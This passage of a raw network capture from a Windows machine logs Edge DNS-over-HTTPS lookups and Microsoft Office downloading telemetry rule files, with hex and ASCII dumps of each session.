_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}eO[
2024-11-09 21:09:42 UTC	5227	IN	Data Raw: 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 e6 0e 92 0c 4e 75 b7 Data Ascii: a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(Nu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49842	172.64.41.3	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-09 21:09:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-09 21:09:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 09 Nov 2024 21:09:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e00c90b4be44695-DFW alt-svc: h3=":443"; ma=86400
2024-11-09 21:09:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 04 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49846	172.64.41.3	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-09 21:09:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-09 21:09:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 09 Nov 2024 21:09:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e00c90bcb67e766-DFW alt-svc: h3=":443"; ma=86400
2024-11-09 21:09:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a9 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49843	162.159.61.3	443	7452	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-09 21:09:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-09 21:09:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 09 Nov 2024 21:09:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e00c90bca3c6c5e-DFW alt-svc: h3=":443"; ma=86400
2024-11-09 21:09:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 db 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:42 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:42 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 00acd572-101e-0065-6358-2e4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210942Z-17df447cdb528ltlhC1DFWnt1c00000007q000000000n04z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:42 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:42 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:42 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 8b11e52e-a01e-000d-655f-2ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210942Z-15869dbbcc6sg5zbhC1DFWy5u800000003kg00000000h08x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:42 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:42 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:42 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0386aeb1-901e-007b-0d55-2eac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210942Z-15869dbbcc6xcpf8hC1DFWxtx00000000dx000000000c9m9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:42 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:42 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:42 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:42 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 6a686a66-001e-0028-06b2-31c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210942Z-17df447cdb59mt7dhC1DFWqpg40000000800000000008cx4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:42 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:42 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:42 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:42 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210942Z-16547b76f7fmbrhqhC1DFWkds80000000bq000000000ercn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:42 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:43 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:43 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 7b98c591-e01e-0099-809c-31da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210943Z-15869dbbcc6rzfwxhC1DFWrkb000000006zg00000000e85s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:43 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:43 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:43 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9327b436-501e-00a3-4e5c-2ec0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210943Z-15869dbbcc6pfq2ghC1DFWmp140000000520000000002kxx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:43 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:43 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:43 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 4df8b860-501e-0078-7f2d-3206cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210943Z-15869dbbcc6j87jfhC1DFWr0yc00000003sg00000000na0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:43 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:43 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
